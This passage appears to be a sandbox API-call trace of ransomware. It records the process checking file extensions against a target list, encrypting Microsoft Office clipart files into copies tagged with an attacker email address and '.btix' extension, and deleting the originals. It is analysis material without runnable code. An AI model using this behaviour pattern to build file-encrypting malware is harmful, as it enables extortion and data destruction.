lstrlenW (lpString=".bz2") returned 4 [0143.152] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.152] lstrlenW (lpString=".7z") returned 3 [0143.152] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0143.152] lstrlenW (lpString=".dbf") returned 4 [0143.152] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0143.152] lstrlenW (lpString=".1cd") returned 4 [0143.152] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0143.152] lstrlenW (lpString=".jpg") returned 4 [0143.152] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.153] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0143.153] lstrlenW (lpString="J0105376.WMF") returned 12 [0143.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0143.154] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=4964) returned 1 [0143.154] CloseHandle (hObject=0x508) returned 1 [0143.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf")) returned 0x220 [0143.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0143.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0143.154] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.154] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0143.155] GetLastError () returned 0x0 [0143.155] ReadFile (in: hFile=0x508, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x1364, lpOverlapped=0x0) returned 1 [0143.165] WriteFile (in: hFile=0x3bc, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x1370, lpOverlapped=0x0) returned 1 [0143.166] ReadFile (in: hFile=0x508, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0143.166] WriteFile (in: hFile=0x3bc, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0143.167] SetEndOfFile (hFile=0x3bc) returned 1 [0143.167] CloseHandle (hObject=0x3bc) returned 1 [0143.167] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.167] SetEndOfFile (hFile=0x508) returned 1 [0143.169] CloseHandle (hObject=0x508) returned 1 [0143.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.170] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf")) returned 1 [0143.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0143.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0143.171] lstrlenW (lpString=".doc") returned 4 [0143.171] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.171] lstrlenW (lpString=".docx") returned 5 [0143.171] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0143.171] lstrlenW (lpString=".pdf") returned 4 [0143.171] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.171] lstrlenW (lpString=".xls") returned 4 [0143.171] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.171] lstrlenW (lpString=".xlsx") returned 5 [0143.171] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0143.171] lstrlenW (lpString=".ppt") returned 4 [0143.171] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0143.171] lstrlenW (lpString=".zip") returned 4 [0143.171] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.171] lstrlenW (lpString=".rar") returned 4 [0143.171] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.171] lstrlenW (lpString=".bz2") returned 4 [0143.171] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.172] lstrlenW (lpString=".7z") returned 3 [0143.172] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0143.172] lstrlenW (lpString=".dbf") returned 4 [0143.172] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0143.172] lstrlenW (lpString=".1cd") returned 4 [0143.172] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0143.172] lstrlenW (lpString=".jpg") returned 4 [0143.172] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0143.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0143.172] lstrlenW (lpString=".doc") returned 4 [0143.172] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.172] lstrlenW (lpString=".docx") returned 5 [0143.172] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0143.172] lstrlenW (lpString=".pdf") returned 4 [0143.172] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.172] lstrlenW (lpString=".xls") returned 4 [0143.172] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.172] lstrlenW (lpString=".xlsx") returned 5 [0143.172] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0143.172] lstrlenW (lpString=".ppt") returned 4 [0143.172] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0143.172] lstrlenW (lpString=".zip") returned 4 [0143.172] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.172] lstrlenW (lpString=".rar") returned 4 [0143.172] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.172] lstrlenW (lpString=".bz2") returned 4 [0143.172] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.172] lstrlenW (lpString=".7z") returned 3 [0143.173] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0143.173] lstrlenW (lpString=".dbf") returned 4 [0143.173] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0143.173] lstrlenW (lpString=".1cd") returned 4 [0143.173] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0143.173] lstrlenW (lpString=".jpg") returned 4 [0143.173] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.173] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0143.173] lstrlenW (lpString="J0105378.WMF") returned 12 [0143.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0143.174] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=4964) returned 1 [0143.174] CloseHandle (hObject=0x508) returned 1 [0143.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf")) returned 0x220 [0143.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0143.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0143.174] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.174] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0143.177] GetLastError () returned 0x0 [0143.177] ReadFile (in: hFile=0x508, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x1364, lpOverlapped=0x0) returned 1 [0143.178] WriteFile (in: hFile=0x3bc, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x1370, lpOverlapped=0x0) returned 1 [0143.179] ReadFile (in: hFile=0x508, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0143.179] WriteFile (in: hFile=0x3bc, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0143.180] SetEndOfFile (hFile=0x3bc) returned 1 [0143.180] CloseHandle (hObject=0x3bc) returned 1 [0143.180] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.180] SetEndOfFile (hFile=0x508) returned 1 [0143.183] CloseHandle (hObject=0x508) returned 1 [0143.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf")) returned 1 [0143.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0143.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0143.184] lstrlenW (lpString=".doc") returned 4 [0143.184] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.184] lstrlenW (lpString=".docx") returned 5 [0143.184] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0143.184] lstrlenW (lpString=".pdf") returned 4 [0143.184] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.184] lstrlenW (lpString=".xls") returned 4 [0143.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.184] lstrlenW (lpString=".xlsx") returned 5 [0143.184] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0143.184] lstrlenW (lpString=".ppt") returned 4 [0143.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0143.184] lstrlenW (lpString=".zip") returned 4 [0143.184] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.184] lstrlenW (lpString=".rar") returned 4 [0143.184] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.184] lstrlenW (lpString=".bz2") returned 4 [0143.184] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.184] lstrlenW (lpString=".7z") returned 3 [0143.184] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0143.185] lstrlenW (lpString=".dbf") returned 4 [0143.185] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0143.185] lstrlenW (lpString=".1cd") returned 4 [0143.185] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0143.185] lstrlenW (lpString=".jpg") returned 4 [0143.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0143.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0143.185] lstrlenW (lpString=".doc") returned 4 [0143.185] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.185] lstrlenW (lpString=".docx") returned 5 [0143.185] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0143.185] lstrlenW (lpString=".pdf") returned 4 [0143.185] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.185] lstrlenW (lpString=".xls") returned 4 [0143.185] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.185] lstrlenW (lpString=".xlsx") returned 5 [0143.185] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0143.185] lstrlenW (lpString=".ppt") returned 4 [0143.185] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0143.186] lstrlenW (lpString=".zip") returned 4 [0143.186] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.186] lstrlenW (lpString=".rar") returned 4 [0143.186] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.186] lstrlenW (lpString=".bz2") returned 4 [0143.186] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.186] lstrlenW (lpString=".7z") returned 3 [0143.186] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0143.186] lstrlenW (lpString=".dbf") returned 4 [0143.186] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0143.186] lstrlenW (lpString=".1cd") returned 4 [0143.186] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0143.186] lstrlenW (lpString=".jpg") returned 4 [0143.186] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.186] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0143.186] lstrlenW (lpString="J0105380.WMF") returned 12 [0143.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0143.187] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=4624) returned 1 [0143.187] CloseHandle (hObject=0x508) returned 1 [0143.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf")) returned 0x220 [0143.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0143.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0143.188] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.188] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0143.189] GetLastError () returned 0x0 [0143.189] ReadFile (in: hFile=0x508, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x1210, lpOverlapped=0x0) returned 1 [0143.190] WriteFile (in: hFile=0x3bc, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x1220, lpOverlapped=0x0) returned 1 [0143.191] ReadFile (in: hFile=0x508, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0143.191] WriteFile (in: hFile=0x3bc, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0143.191] SetEndOfFile (hFile=0x3bc) returned 1 [0143.192] CloseHandle (hObject=0x3bc) returned 1 [0143.192] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.235] SetEndOfFile (hFile=0x508) returned 1 [0143.238] CloseHandle (hObject=0x508) returned 1 [0143.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.415] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf")) returned 1 [0143.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0143.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0143.513] lstrlenW (lpString=".doc") returned 4 [0143.513] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.513] lstrlenW (lpString=".docx") returned 5 [0143.513] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0143.513] lstrlenW (lpString=".pdf") returned 4 [0143.513] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.513] lstrlenW (lpString=".xls") returned 4 [0143.513] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.513] lstrlenW (lpString=".xlsx") returned 5 [0143.513] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0143.513] lstrlenW (lpString=".ppt") returned 4 [0143.513] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0143.513] lstrlenW (lpString=".zip") returned 4 [0143.513] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.513] lstrlenW (lpString=".rar") returned 4 [0143.513] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.513] lstrlenW (lpString=".bz2") returned 4 [0143.513] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.513] lstrlenW (lpString=".7z") returned 3 [0143.513] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0143.513] lstrlenW (lpString=".dbf") returned 4 [0143.513] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0143.513] lstrlenW (lpString=".1cd") returned 4 [0143.513] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0143.513] lstrlenW (lpString=".jpg") returned 4 [0143.514] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0143.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0143.514] lstrlenW (lpString=".doc") returned 4 [0143.514] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.515] lstrlenW (lpString=".docx") returned 5 [0143.515] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0143.515] lstrlenW (lpString=".pdf") returned 4 [0143.515] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.515] lstrlenW (lpString=".xls") returned 4 [0143.515] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.515] lstrlenW (lpString=".xlsx") returned 5 [0143.515] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0143.515] lstrlenW (lpString=".ppt") returned 4 [0143.515] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0143.515] lstrlenW (lpString=".zip") returned 4 [0143.515] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.515] lstrlenW (lpString=".rar") returned 4 [0143.515] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.515] lstrlenW (lpString=".bz2") returned 4 [0143.515] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.515] lstrlenW (lpString=".7z") returned 3 [0143.515] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0143.515] lstrlenW (lpString=".dbf") returned 4 [0143.515] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0143.515] lstrlenW (lpString=".1cd") returned 4 [0143.515] lstrcmpiW (lpString1=".1cd", 